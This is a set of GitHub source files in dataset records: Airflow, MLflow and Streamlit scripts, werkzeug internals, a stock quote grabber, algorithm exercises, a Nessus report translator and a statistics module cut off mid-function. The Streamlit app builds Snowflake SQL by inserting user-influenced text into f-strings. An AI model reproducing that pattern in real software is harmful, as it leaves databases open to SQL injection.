view.CheckingType(file.suffix)\n return False\n\n\ndef FindFile(path):\n view.CheckingFile(path)\n\n file = Path(path)\n if file.is_file():\n abso_path = str(file.resolve())\n view.FileFound(abso_path)\n return True\n else:\n view.Error(1)\n return False\n\n\ndef ImageOpened(path):\n return Image.open(path)\n","repo_name":"GregoryHue/EncodeTextImage","sub_path":"app/src/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41277387760","text":"\"\"\"Operator to flag anomalies in a metric batch.\"\"\"\n\nfrom typing import Sequence, Any\n\nfrom airflow.models.baseoperator import BaseOperator\nfrom airflow.providers.google.cloud.hooks.bigquery import BigQueryHook\n\n\nclass BigQueryMetricBatchAlertOperator(BaseOperator):\n \"\"\"\n Runs some sql to flag anomalies.\n\n :param alert_status_sql: sql to be executed when flagging anomalies\n :type alert_status_sql: str\n \"\"\"\n\n template_fields: Sequence[str] = [\"alert_status_sql\"]\n template_fields_renderers = {\"alert_status_sql\": \"sql\"}\n\n def __init__(self, alert_status_sql: str, **kwargs) -> None:\n super().__init__(**kwargs)\n self.alert_status_sql = alert_status_sql\n \n def execute(self, context: Any):\n\n metric_batch_name = context['params']['metric_batch_name']\n\n bigquery_hook = BigQueryHook(context['params']['gcp_connection_id'])\n\n df_alert = bigquery_hook.get_pandas_df(\n sql=self.alert_status_sql,\n dialect='standard'\n )\n df_alert = df_alert.dropna()\n df_alert['metric_timestamp'] = df_alert['metric_timestamp'].astype(str)\n\n self.log.info(f'len(df_alert)={len(df_alert)}')\n\n # push df_alert to xcom to by picked up by downstream notify task\n context['ti'].xcom_push(key=f'df_alert_{metric_batch_name}', value=df_alert.to_dict('records'))\n","repo_name":"andrewm4894/airflow-provider-anomaly-detection","sub_path":"airflow_anomaly_detection/operators/bigquery/metric_batch_alert_operator.py","file_name":"metric_batch_alert_operator.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"82"} +{"seq_id":"4257922492","text":"# Databricks notebook source\n# MAGIC %md\n# MAGIC # Import dependencies\n\n# COMMAND ----------\n\nimport pandas as pd\nimport numpy as np\nimport mlflow\nimport tensorflow\nfrom tensorflow import keras\nimport mlflow.keras\nfrom sklearn.metrics import f1_score,confusion_matrix\nfrom sklearn.model_selection import train_test_split\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC # Retrieve Data\n\n# COMMAND ----------\n\n\npandas_df = pd.read_csv('/dbfs/FileStore/shared_uploads/blasa.matthew@yahoo.com/training_data.csv')\nX=pandas_df.iloc[:,:-1]\nY=pandas_df.iloc[:,-1]\nX_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=0.33, random_state=4284, stratify=Y)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC # Set Experiment\n\n# COMMAND ----------\n\n\nexperiment_name = \"/Experiments/ml_flow_run_xgboost\"\nmlflow.set_experiment(experiment_name)\nmlflow.tensorflow.autolog()\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC # Create Model\n\n# COMMAND ----------\n\n\nmodel = keras.Sequential([\n keras.layers.Dense(\n units=36,\n activation='relu',\n input_shape=(X_train.shape[-1],)\n ),\n keras.layers.BatchNormalization(),\n keras.layers.Dense(units=1, activation='sigmoid'),\n])\n\nmodel.compile(\n optimizer=keras.optimizers.Adam(lr=0.001),\n loss=\"binary_crossentropy\",\n metrics=\"Accuracy\"\n)\n\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC # Run the Model\n\n# COMMAND ----------\n\nwith mlflow.start_run(run_name='keras_model_baseline') as run:\n model.fit(\n X_train,\n y_train,\n epochs=20,\n validation_split=0.05,\n shuffle=True,\n verbose=0\n )\n preds = model.predict(X_test)\n y_pred = np.where(preds>0.5,1,0)\n f1 = f1_score(y_test, y_pred)\n mlflow.log_metric(key=\"f1_experiment_score\", value=f1)\n\n\n# COMMAND ----------\n\n\n","repo_name":"mattblasa/mlegineering_mlflow","sub_path":"src/第4章/mlflow_run_keras.py","file_name":"mlflow_run_keras.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"33265437874","text":"# Snowpark\nimport snowflake.connector\nimport streamlit as st\nimport pandas as pd\nimport plotly.express as px\nimport re\nimport string\nfrom model import GeneralModel\n\n\ncovid_dict = {\n \"test positive, but don't have COVID\": 'test positive',\n \"test negative, but do have COVID\": 'test negative'\n}\n\nbank_dict = {\n \"bank places hold on credit card, but no fraud occurred\": 'credit hold',\n \"bank doesn't place a hold, but there was fraud!\": 'no-hold, but fraud!'\n}\n\nschool_dict = {\n \"Rejection letter, but it's a mistake and you were actually admitted!\": 'false rejection',\n \"Acceptance letter, but you were actually mean to be rejected!\": 'false acceptance'\n}\n\n\ndef insert_row_into_snowflake(vote_choice, table_name):\n my_cnx = snowflake.connector.connect(**st.secrets['snowflake'])\n with my_cnx.cursor() as my_cur:\n my_cur.execute(f\"insert into {table_name} values ('{vote_choice}')\")\n my_cnx.close()\n return\n\n\ndef grab_data_from_snowflake(table_name):\n my_cnx = snowflake.connector.connect(**st.secrets['snowflake'])\n with my_cnx.cursor() as my_cur:\n my_cur.execute(f\"select * from {table_name}\")\n output = pd.DataFrame(my_cur.fetchall())\n my_cnx.close()\n return output\n\n\ndef grab_and_plot_data(table_name, values):\n votes = grab_data_from_snowflake(table_name)\n if len(votes) >= 2:\n # transform votes\n counts = votes.value_counts()\n data_dict = {'choice': values, 'count': [counts[values[0]], counts[values[1]]]}\n final_df = pd.DataFrame(data_dict)\n # plot\n fig = px.pie(final_df, values='count', names='choice', title='Voting Results')\n st.plotly_chart(fig, use_container_width=True)\n else:\n st.write('waiting for votes')\n return\n\n\ndef generate_question_column(table_name, data_dict, question, num):\n col1, col2 = st.columns(2)\n with st.container():\n with col1:\n st.subheader(question)\n output = st.radio(\"Which is less desirable?\",\n tuple(data_dict.keys()))\n if not st.button('Vote', key=num):\n st.write('please vote')\n else:\n st.write(f'thanks for voting!')\n insert_row_into_snowflake(data_dict[output], table_name)\n\n with col2:\n grab_and_plot_data(table_name, values=list(data_dict.values()))\n return\n\n\ndef insert_new_words(words_list):\n my_cnx = snowflake.connector.connect(**st.secrets['snowflake'])\n with my_cnx.cursor() as my_cur:\n for word in words_list:\n my_cur.execute(f\"insert into gpt_words values ('{word}')\")\n my_cnx.close()\n return\n\n\ndef word_counter(new_words_list):\n insert_new_words(new_words_list)\n # grab all words and plot frequency\n my_cnx = snowflake.connector.connect(**st.secrets['snowflake'])\n with my_cnx.cursor() as my_cur:\n my_cur.execute(f\"select * from gpt_words\")\n word_df = pd.DataFrame(my_cur.fetchall())\n my_cnx.close()\n fig = px.histogram(word_df)\n st.plotly_chart(fig) #, use_container_width=True)\n return\n \n\ndef app():\n\n # Creating an object of prediction service\n pred = GeneralModel()\n\n api_key = st.sidebar.text_input(\"APIkey\", type=\"password\")\n \n # Add header and a subheader\n st.title('Streamlit Voting Demo')\n st.subheader(\n \"Powered by Snowpark for Python and GPT-3 | Made with Streamlit\")\n st.header(\"Vote for the situations you think are less desirable!\")\n\n tab1, tab2, tab3, tab4 = st.tabs(['COVID', 'BANK', 'SCHOOL', \"'Roll the dice!\"])\n # COVID section\n with tab1:\n question = 'Bob thinks he may have contracted COVID-19, and goes to get tested.'\n generate_question_column(\"COVID_VOTES\", covid_dict, question, 1)\n\n # Bank section\n with tab2:\n question = 'ABC Bank monitors credit card usage to detect any fraudulent activity.'\n generate_question_column(\"BANK_VOTES\", bank_dict, question, 2)\n\n # SCHOOL section\n with tab3:\n question = \"It's your senior year of highschool and you recieve an admissions letter from your dream school.\"\n generate_question_column(\"SCHOOL_VOTES\", school_dict, question, 3)\n \n # GPT-3 Section\n with tab4:\n # Using the streamlit cache\n @st.cache\n def process_prompt(input):\n\n return pred.model_prediction(input=input.strip() , api_key=api_key)\n\n if api_key:\n\n # Setting up the Title\n st.title(\"Write a poem based on these words\")\n\n # st.write(\"---\")\n\n s_example = \"Birds, flowers, love, sun\"\n input = st.text_area(\n \"Use the example below or input your own text in English\",\n value=s_example,\n max_chars=150,\n height=100,\n )\n\n if st.button(\"Submit\"):\n with st.spinner(text=\"In progress\"):\n report_text = process_prompt(input)\n st.markdown(report_text)\n word_list = re.sub('['+string.punctuation+']', '', report_text.lower()).split()\n # remove specified words\n spec_words = re.sub('['+string.punctuation+']', '', input.lower()).split()\n for word in spec_words:\n word_list.remove(word)\n word_counter(word_list)\n \n \n else:\n st.error(\"🔑 Please enter API Key\")\n","repo_name":"rmorton8/streamlit-gpt-voting","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":5497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72110921549","text":"from __future__ import annotations\n\nimport logging\nimport re\nimport sys\nimport typing as t\nfrom datetime import datetime\nfrom datetime import timezone\n\nif t.TYPE_CHECKING:\n from _typeshed.wsgi import WSGIEnvironment\n from .wrappers.request import Request\n\n_logger: logging.Logger | None = None\n\n\nclass _Missing:\n def __repr__(self) -> str:\n return \"no value\"\n\n def __reduce__(self) -> str:\n return \"_missing\"\n\n\n_missing = _Missing()\n\n\ndef _wsgi_decoding_dance(s: str) -> str:\n return s.encode(\"latin1\").decode(errors=\"replace\")\n\n\ndef _wsgi_encoding_dance(s: str) -> str:\n return s.encode().decode(\"latin1\")\n\n\ndef _get_environ(obj: WSGIEnvironment | Request) -> WSGIEnvironment:\n env = getattr(obj, \"environ\", obj)\n assert isinstance(\n env, dict\n ), f\"{type(obj).__name__!r} is not a WSGI environment (has to be a dict)\"\n return env\n\n\ndef _has_level_handler(logger: logging.Logger) -> bool:\n \"\"\"Check if there is a handler in the logging chain that will handle\n the given logger's effective level.\n \"\"\"\n level = logger.getEffectiveLevel()\n current = logger\n\n while current:\n if any(handler.level <= level for handler in current.handlers):\n return True\n\n if not current.propagate:\n break\n\n current = current.parent # type: ignore\n\n return False\n\n\nclass _ColorStreamHandler(logging.StreamHandler):\n \"\"\"On Windows, wrap stream with Colorama for ANSI style support.\"\"\"\n\n def __init__(self) -> None:\n try:\n import colorama\n except ImportError:\n stream = None\n else:\n stream = colorama.AnsiToWin32(sys.stderr)\n\n super().__init__(stream)\n\n\ndef _log(type: str, message: str, *args: t.Any, **kwargs: t.Any) -> None:\n \"\"\"Log a message to the 'werkzeug' logger.\n\n The logger is created the first time it is needed. If there is no\n level set, it is set to :data:`logging.INFO`. If there is no handler\n for the logger's effective level, a :class:`logging.StreamHandler`\n is added.\n \"\"\"\n global _logger\n\n if _logger is None:\n _logger = logging.getLogger(\"werkzeug\")\n\n if _logger.level == logging.NOTSET:\n _logger.setLevel(logging.INFO)\n\n if not _has_level_handler(_logger):\n _logger.addHandler(_ColorStreamHandler())\n\n getattr(_logger, type)(message.rstrip(), *args, **kwargs)\n\n\n@t.overload\ndef _dt_as_utc(dt: None) -> None:\n ...\n\n\n@t.overload\ndef _dt_as_utc(dt: datetime) -> datetime:\n ...\n\n\ndef _dt_as_utc(dt: datetime | None) -> datetime | None:\n if dt is None:\n return dt\n\n if dt.tzinfo is None:\n return dt.replace(tzinfo=timezone.utc)\n elif dt.tzinfo != timezone.utc:\n return dt.astimezone(timezone.utc)\n\n return dt\n\n\n_TAccessorValue = t.TypeVar(\"_TAccessorValue\")\n\n\nclass _DictAccessorProperty(t.Generic[_TAccessorValue]):\n \"\"\"Baseclass for `environ_property` and `header_property`.\"\"\"\n\n read_only = False\n\n def __init__(\n self,\n name: str,\n default: _TAccessorValue | None = None,\n load_func: t.Callable[[str], _TAccessorValue] | None = None,\n dump_func: t.Callable[[_TAccessorValue], str] | None = None,\n read_only: bool | None = None,\n doc: str | None = None,\n ) -> None:\n self.name = name\n self.default = default\n self.load_func = load_func\n self.dump_func = dump_func\n if read_only is not None:\n self.read_only = read_only\n self.__doc__ = doc\n\n def lookup(self, instance: t.Any) -> t.MutableMapping[str, t.Any]:\n raise NotImplementedError\n\n @t.overload\n def __get__(\n self, instance: None, owner: type\n ) -> _DictAccessorProperty[_TAccessorValue]:\n ...\n\n @t.overload\n def __get__(self, instance: t.Any, owner: type) -> _TAccessorValue:\n ...\n\n def __get__(\n self, instance: t.Any | None, owner: type\n ) -> _TAccessorValue | _DictAccessorProperty[_TAccessorValue]:\n if instance is None:\n return self\n\n storage = self.lookup(instance)\n\n if self.name not in storage:\n return self.default # type: ignore\n\n value = storage[self.name]\n\n if self.load_func is not None:\n try:\n return self.load_func(value)\n except (ValueError, TypeError):\n return self.default # type: ignore\n\n return value # type: ignore\n\n def __set__(self, instance: t.Any, value: _TAccessorValue) -> None:\n if self.read_only:\n raise AttributeError(\"read only property\")\n\n if self.dump_func is not None:\n self.lookup(instance)[self.name] = self.dump_func(value)\n else:\n self.lookup(instance)[self.name] = value\n\n def __delete__(self, instance: t.Any) -> None:\n if self.read_only:\n raise AttributeError(\"read only property\")\n\n self.lookup(instance).pop(self.name, None)\n\n def __repr__(self) -> str:\n return f\"<{type(self).__name__} {self.name}>\"\n\n\n_plain_int_re = re.compile(r\"-?\\d+\", re.ASCII)\n\n\ndef _plain_int(value: str) -> int:\n \"\"\"Parse an int only if it is only ASCII digits and ``-``.\n\n This disallows ``+``, ``_``, and non-ASCII digits, which are accepted by ``int`` but\n are not allowed in HTTP header values.\n\n Any leading or trailing whitespace is stripped\n \"\"\"\n value = value.strip()\n if _plain_int_re.fullmatch(value) is None:\n raise ValueError\n\n return int(value)\n","repo_name":"pallets/werkzeug","sub_path":"src/werkzeug/_internal.py","file_name":"_internal.py","file_ext":"py","file_size_in_byte":5542,"program_lang":"python","lang":"en","doc_type":"code","stars":6451,"dataset":"github-code","pt":"82"} +{"seq_id":"41674716812","text":"import requests\r\nimport os\r\nimport easyquotation\r\n# os.environ['NO_PROXY'] = 'hq.sinajs.cn'\r\n\r\nclass Price_Grabber(object):\r\n def __init__(self):\r\n self.interface_name = 'tencent'\r\n self.quotation = easyquotation.use(self.interface_name) # 新浪 ['sina'] 腾讯 ['tencent', 'qq']\r\n # self.interface_url = 'http://hq.sinajs.cn/list='\r\n\r\n def grab(self, stocks_code):\r\n stocks_dict = self.quotation.real(stocks_code)\r\n # url = self.interface_url + stock_code\r\n # r = requests.get(url)\r\n return self.parse_dict(stocks_dict)\r\n\r\n def parse_dict(self, stocks_dict):\r\n # print(stocks_dict)\r\n res_dicts = []\r\n for code in stocks_dict:\r\n single_stock_dict = stocks_dict[code]\r\n stock_name = single_stock_dict['name']\r\n if code[0] in ['5', '1']:\r\n price_s = '%.3f' % single_stock_dict['now']\r\n else:\r\n price_s = '%.2f' % single_stock_dict['now']\r\n if self.interface_name == 'tencent':\r\n ratio_s = '%.2f%%' % single_stock_dict['涨跌(%)']\r\n else:\r\n ratio_f = (single_stock_dict['now'] - single_stock_dict['close']) / single_stock_dict['close'] * 100.0\r\n ratio_s = '%.2f%%' % ratio_f\r\n high_ratio = (single_stock_dict['high'] - single_stock_dict['close']) / single_stock_dict['close'] * 100.0\r\n high_ratio_s = '%.2f%%' % high_ratio\r\n low_ratio = (single_stock_dict['low'] - single_stock_dict['close']) / single_stock_dict['close'] * 100.0\r\n low_ratio_s = '%.2f%%' % low_ratio\r\n if self.interface_name == 'tencent':\r\n current_date = str(single_stock_dict['datetime'].date())\r\n current_time = str(single_stock_dict['datetime'].time())\r\n else:\r\n current_date = single_stock_dict['date']\r\n current_time = single_stock_dict['time']\r\n res_dict = dict(stock_name=stock_name, ratio=ratio_s, current_price=price_s,\r\n today_high=high_ratio_s, today_low=low_ratio_s,\r\n current_date=current_date, current_time=current_time)\r\n res_dicts.append(res_dict)\r\n return res_dicts\r\n\r\n def parse_text(self, text: str):\r\n try:\r\n left_start_idx = text.index('=\"') + 2\r\n ts_code_idx = left_start_idx - 8\r\n ts_code = text[ts_code_idx:ts_code_idx+6]\r\n info_text = text[left_start_idx:]\r\n s_texts = info_text.split(',')\r\n last_day_price_f = float(s_texts[2])\r\n current_price_f = float(s_texts[3])\r\n if ts_code[0] in ['5', '1']:\r\n price_s = '%.3f' % current_price_f\r\n else:\r\n price_s = '%.2f' % current_price_f\r\n ratio = (current_price_f - last_day_price_f) / last_day_price_f * 100\r\n ratio_s = '%.2f%%' % ratio\r\n today_high_ratio = (float(s_texts[4]) - last_day_price_f) / last_day_price_f * 100\r\n high_ratio_s = '%.2f%%' % today_high_ratio\r\n today_low_ratio = (float(s_texts[5]) - last_day_price_f) / last_day_price_f * 100\r\n low_ratio_s = '%.2f%%' % today_low_ratio\r\n res_dict = dict(stock_name=s_texts[0], ratio=ratio_s, current_price=price_s,\r\n today_high=high_ratio_s, today_low=low_ratio_s,\r\n current_date=s_texts[30], current_time=s_texts[31])\r\n except:\r\n print(text)\r\n res_dict = dict(stock_name='Error', ratio=\"No\", current_price='data',\r\n today_high='returned', today_low='Check',\r\n current_date='request', current_time='text')\r\n return res_dict\r\n\r\n\r\nif __name__ == '__main__':\r\n pg = Price_Grabber()\r\n dict = pg.grab(['sz000001', 'sh600000'])\r\n print(dict)\r\n","repo_name":"inSight-mk1/ssimple_stock_viewer","sub_path":"price_grabber.py","file_name":"price_grabber.py","file_ext":"py","file_size_in_byte":3914,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"72182677068","text":"class SimpleGraph:\n def __init__(self):\n self.edges = {}\n \n def neighbors(self, id):\n return self.edges[id]\n\n\nimport collections\n\nclass Queue:\n def __init__(self):\n self.elements = collections.deque()\n \n def empty(self):\n return len(self.elements) == 0\n \n def put(self, x):\n self.elements.append(x)\n \n def get(self):\n return self.elements.popleft()\n\n\ndef breadth_first_search(graph, start):\n # print out what we find\n open_list = Queue()\n open_list.put(start)\n visited = {}\n visited[start] = True\n \n while not open_list.empty():\n current = open_list.get()\n print(\"Visiting %r\" % current)\n for next in graph.neighbors(current):\n if next not in visited:\n open_list.put(next)\n visited[next] = True\n\n\n\nif __name__ == '__main__':\n\texample_graph = SimpleGraph()\n\texample_graph.edges = {\n \t'A': ['B'],\n \t'B': ['A', 'C', 'D'],\n \t'C': ['A'],\n \t'D': ['E', 'A'],\n \t'E': ['B']\n\t}\n\tbreadth_first_search(example_graph, 'A')","repo_name":"starkblaze01/Algorithms-Cheatsheet-Resources","sub_path":"Python/bfs.py","file_name":"bfs.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","stars":334,"dataset":"github-code","pt":"82"} +{"seq_id":"7798352452","text":"from collections import OrderedDict\r\n\r\ndef get_input():\r\n n = int(input())\r\n\r\n psw_text_pair = OrderedDict()\r\n\r\n for i in range(n):\r\n m = int(input())\r\n psw = tuple(input().split()[0:m])\r\n text = input()\r\n psw_text_pair[psw] = text\r\n\r\n if i != n-1:\r\n input()\r\n\r\n return psw_text_pair\r\n\r\ndef calc_psw(keys):\r\n positions = []\r\n for k in keys:\r\n a, b = 0, 0\r\n for i, char in enumerate(k):\r\n a += ord(char) & 2**i\r\n tmpb = ord(char) >> ((i+3)%6)\r\n tmpb = tmpb & 1\r\n b += tmpb * (2**i)\r\n\r\n positions.append(a)\r\n positions.append(b)\r\n\r\n return positions\r\n\r\ndef find_code(psw_text_pair):\r\n for k, v in psw_text_pair.items():\r\n positions = calc_psw(k)\r\n for pos in positions:\r\n print(v[pos], end='')\r\n print()\r\n\r\ndef main():\r\n find_code(get_input())\r\n\r\nif __name__ == '__main__':\r\n # http://www.spoj.com/problems/HS12HDPW\r\n main()\r\n","repo_name":"chao98/Python","sub_path":"SPOJ/SPOJ12206.py","file_name":"SPOJ12206.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"17429488578","text":"import sqlite3\nimport csv\nimport sys\n\nimport unicodecsv as u_csv\n\n\ndef import_and_export():\n resultname = filename.replace('.csv', '') + '_translation.csv'\n with open(resultname, 'wb') as nf:\n w = u_csv.writer(nf, encoding='GBK')\n with open(filename, 'r', encoding='UTF-8') as of:\n reader = csv.reader(of)\n first = 1\n for row in reader:\n if first:\n w.writerow(row)\n first = 0\n else:\n try:\n if translate(row[0]) is not None:\n name, description, solution = translate(row[0])\n w.writerow([row[0], row[1], row[2], row[3], row[4], row[5], row[6], name, row[8],\n description, solution, row[11], row[12]])\n else:\n w.writerow(row)\n except:\n print(\"报错ID：\"+row[0])\n \n\ndef translate(plugin_id):\n conn = sqlite3.connect(\"vulLib.db\")\n conn.text_factory = lambda x: str(x, 'gbk', 'ignore')\n cursor = conn.cursor()\n for row in cursor.execute(\"select * from VULNDB where Plugin_ID=?\", (plugin_id,)):\n if row is not None:\n return row[1], row[3], row[4]\n else:\n return None\n\n\nif __name__ == '__main__':\n filename = sys.argv[1]\n print('请耐心等待！')\n import_and_export()\n print('翻译结束！')\n","repo_name":"Largemage/nessus-report-translater","sub_path":"translater.py","file_name":"translater.py","file_ext":"py","file_size_in_byte":1518,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"9141700963","text":"\n\nimport os, sys\nimport numpy as np\nfrom IPython import embed\nfrom collections import defaultdict\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\n\nfilenames = [ 'idtmp_regrasp_010_500.log', 'idtmp_regrasp_005_500.log']\n# filenames = [ 'idtmp_regrasp_010_fc_500.log', 'idtmp_regrasp_010_500.log', 'idtmp_regrasp_005_500.log', 'idtmp_regrasp_005_fc_500.log']\ndata_pd = defaultdict(list)\n# data_pd_010 = defaultdict(list)\n\nfor filename in filenames:\n if os.path.exists('tmp.txt'):\n os.remove('tmp.txt')\n os.system(f'grep -i \"motion refine failed\\|task and motion plan found\\|current task plan is infeasible\\|current task plan is feasible\" {filename} >> tmp.txt')\n\n with open('tmp.txt', 'r') as f:\n mp_times = []\n fc_times = []\n\n mp_num = 0\n fc_num = 0\n pointer = 0\n for line in f:\n # print(line)\n if 'current task plan is infeasible' in line:\n fc_num += 1\n if 'fc' in filename and 'current task plan is feasible' in line:\n mp_num += 1\n if 'fc' not in filename and 'motion refine failed' in line:\n mp_num += 1\n if 'task and motion plan found' in line:\n if mp_num==0:\n continue\n if '005' in filename:\n data_pd['mp_times'].append(mp_num)\n data_pd['resolution'].append('idtmp_005')\n\n if 'fc' in filename:\n data_pd['feasible_check'].append('yes')\n else:\n data_pd['feasible_check'].append('no')\n\n if '010' in filename:\n data_pd['mp_times'].append(mp_num)\n data_pd['resolution'].append('idtmp_010')\n\n mp_times.append(mp_num)\n fc_times.append(fc_num+mp_num)\n mp_num = 0\n fc_num = 0\n\ndata_pd = pd.DataFrame(data_pd)\n\nmedianprops = dict(markerfacecolor='r', color='r')\nmax_y = max(data_pd['mp_times']) * 1.1\n\n# Initialize the figure with a logarithmic x axis\nf, ax = plt.subplots(figsize=(5, 6))\n# ax.set_title(\"total planning time\", fontdict=dict(fontsize=20))\n# Plot the orbital period with horizontal boxes\n# hue='feasible_check',\nsns.boxplot(x=\"resolution\", y='mp_times', data=data_pd, orient=\"v\", \n linewidth=1, medianprops=medianprops, whis=5, width=0.5,\n fliersize=0, color=[1,1,1])\n\nax.set_ylabel(\"motion planner calling\", fontdict=dict(fontsize=14))\nax.set_xlabel(\"\", fontdict=dict(fontsize=14))\n\nax.set_ylim([0,max_y])\nxlabels = ['idtmp_010','idtmp_005']\nax.set_xticklabels(xlabels, fontdict=dict(fontsize=14))\nax.tick_params(labelrotation=30)\nplt.tight_layout()\n# sns.despine(trim=True, left=True)\n# plt.savefig(\"total_planning_time_idtmp_fc.pdf\")\nplt.show()\n\n","repo_name":"Drrreistein/idtmp-py","sub_path":"examples/Darias/TASK_regrasp/log2/plot_mp_time.py","file_name":"plot_mp_time.py","file_ext":"py","file_size_in_byte":2817,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"42456409465","text":"from vizualization import Visualizer\nfrom datasets import get_datamodule\nfrom configs import get_config\n\nif __name__ == \"__main__\":\n\n\n DATASET = \"waymo\"\n ITER_OVER = \"test\"\n\n cfg = get_config(\"../configs/models/slim.yaml\", dataset=DATASET)\n data_module = get_datamodule(name=DATASET, data_path=None, cfg=cfg)\n data_module.setup()\n\n if ITER_OVER == \"train\":\n dl = data_module.train_dataloader()\n elif ITER_OVER == \"test\":\n dl = data_module.test_dataloader()\n else:\n raise ValueError()\n\n dl.num_workers = 0\n\n # Model\n # Loading config\n #cfg = get_config(\"../configs/slim.yaml\", dataset=\"waymo\")\n #model = SLIM(config=cfg, dataset=\"waymo\")\n #model = model.load_from_checkpoint(\"../models/waymo12k.ckpt\")\n # Wrap the dataloader into visualizer\n dl = Visualizer(dl, visualize=\"seg3d\", model=None)\n\n for idx, (x, flow, T_gt) in enumerate(dl):\n continue\n\n","repo_name":"simonpokorny/MotionFeatureLearning","sub_path":"scripts/visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40588919835","text":"# -*- coding: utf-8 -*-\n# by xieshichang\n# modified from packages.statistical.twogroup_CI\n# and packages.statistical.mul_posthoc\nimport math\nimport scipy\nimport itertools\nimport pandas as pd\nfrom scipy.stats.distributions import t\nfrom numpy import mean\nfrom collections import Counter\nfrom mbio.packages.statistical.QTable import QTable\n\n\ndef group_detail(groupfile, get_member=False, mul=False):\n group = pd.read_csv(groupfile, sep='\\t', header=None, comment='#')\n\n group_num = Counter(group[1])\n \n if mul:\n N = len(group[1]) # 样本的个数\n g_num = len(group_num) # 分组的个数\n dfN = g_num - 1\n dfD = N - g_num\n return N, dfN, dfD, group_num\n\n if not get_member:\n return group_num\n\n group_member = {}\n for gname in group_num:\n group_member[gname] = list(group[group[1] == gname][0])\n return group_num, group_member\n\n\ndef stat_info(statfile, gnames):\n stat = pd.read_csv(statfile, sep='\\t', index_col=0)\n mean_dict = {}\n sd_dict = {}\n taxon_list = stat.index\n\n for gname in gnames:\n gmean = gname + '-mean'\n gsd = gname + '-sd'\n mean_dict[gname] = stat[gmean]\n sd_dict[gname] = stat[gsd]\n\n return mean_dict, sd_dict, taxon_list\n\n\ndef student(statfile, groupfile, coverage):\n group_num_dict = group_detail(groupfile)\n gnames = sorted(group_num_dict.keys())\n (mean_dict, sd_dict, taxon_list) = stat_info(statfile, gnames)\n\n with open('student_CI.xls', 'w') as w:\n w.write('\\teffectsize\\tlowerCI\\tupperCI\\n')\n for tx in taxon_list:\n meanG1 = mean_dict[gnames[0]][tx]\n meanG2 = mean_dict[gnames[1]][tx]\n dp = meanG1 - meanG2\n varG1 = (sd_dict[gnames[0]][tx]**2)\n varG2 = (sd_dict[gnames[1]][tx]**2)\n n1 = group_num_dict[gnames[0]]\n n2 = group_num_dict[gnames[1]]\n\n dof = n1 + n2 - 2\n pooledVar = ((n1 - 1)*varG1 + (n2 - 1)*varG2) / dof\n sqrtPooledVar = math.sqrt(pooledVar)\n denom = sqrtPooledVar * math.sqrt(1.0/n1 + 1.0/n2)\n tCritical = t.isf(0.5 * (1.0-coverage), dof)\n lowerCI = dp - tCritical*denom\n upperCI = dp + tCritical*denom\n\n w.write('{}\\t{}\\t{}\\t{}\\n'.format(tx, dp, lowerCI, upperCI))\n\n\ndef welch(statfile, groupfile, coverage):\n group_num_dict = group_detail(groupfile)\n gnames = sorted(group_num_dict.keys())\n (mean_dict, sd_dict, taxon_list) = stat_info(statfile, gnames)\n\n with open('welch_CI.xls', 'w') as w:\n w.write('\\teffectsize\\tlowerCI\\tupperCI\\n')\n for tx in taxon_list:\n meanG1 = mean_dict[gnames[0]][tx]\n meanG2 = mean_dict[gnames[1]][tx]\n dp = meanG1 - meanG2\n varG1 = (sd_dict[gnames[0]][tx]**2)\n varG2 = (sd_dict[gnames[1]][tx]**2)\n n1 = group_num_dict[gnames[0]]\n n2 = group_num_dict[gnames[1]]\n\n normVarG1 = varG1 / n1\n normVarG2 = varG2 / n2\n unpooledVar = normVarG1 + normVarG2\n sqrtUnpooledVar = math.sqrt(unpooledVar)\n dof = (unpooledVar**2) / ((normVarG1**2) /\n (n1-1) + (normVarG2**2)/(n2-1))\n tCritical = t.isf(0.5 * (1.0 - coverage), dof)\n lowerCI = dp - tCritical*sqrtUnpooledVar\n upperCI = dp + tCritical*sqrtUnpooledVar\n w.write('{}\\t{}\\t{}\\t{}\\n'.format(tx, dp, lowerCI, upperCI))\n\n\ndef bootstrap(intable, groupfile, coverage):\n group_num_dict, group_member_dict = group_detail(\n groupfile, get_member=True)\n gnames = sorted(group_num_dict.keys())\n intable = pd.read_csv(intable, sep='\\t', index_col=0)\n\n profile = (intable + 0.0) / intable.sum()\n\n scipy.random.seed(1234)\n with open('mann_CI.xls', 'w') as w:\n w.write('\\teffectsize\\tlowerCI\\tupperCI\\n')\n for index in profile.index:\n distribution = []\n for _ in xrange(0, 999):\n samplesGroup = {}\n for gname in gnames:\n sampleSize = group_num_dict[gname]\n samples = group_member_dict[gname]\n choices = scipy.random.randint(0, sampleSize, sampleSize)\n samplesGroup[gname] = profile.loc[index, samples][choices]\n diffOfMeanProp = samplesGroup[gnames[0]].mean() -\\\n samplesGroup[gnames[1]].mean()\n distribution.append(diffOfMeanProp*100)\n dp = profile.loc[index, group_member_dict[gnames[0]]].mean() -\\\n profile.loc[index, group_member_dict[gnames[1]]].mean()\n distribution.sort()\n dp *= 100\n lowerCI = distribution[max(\n 0, 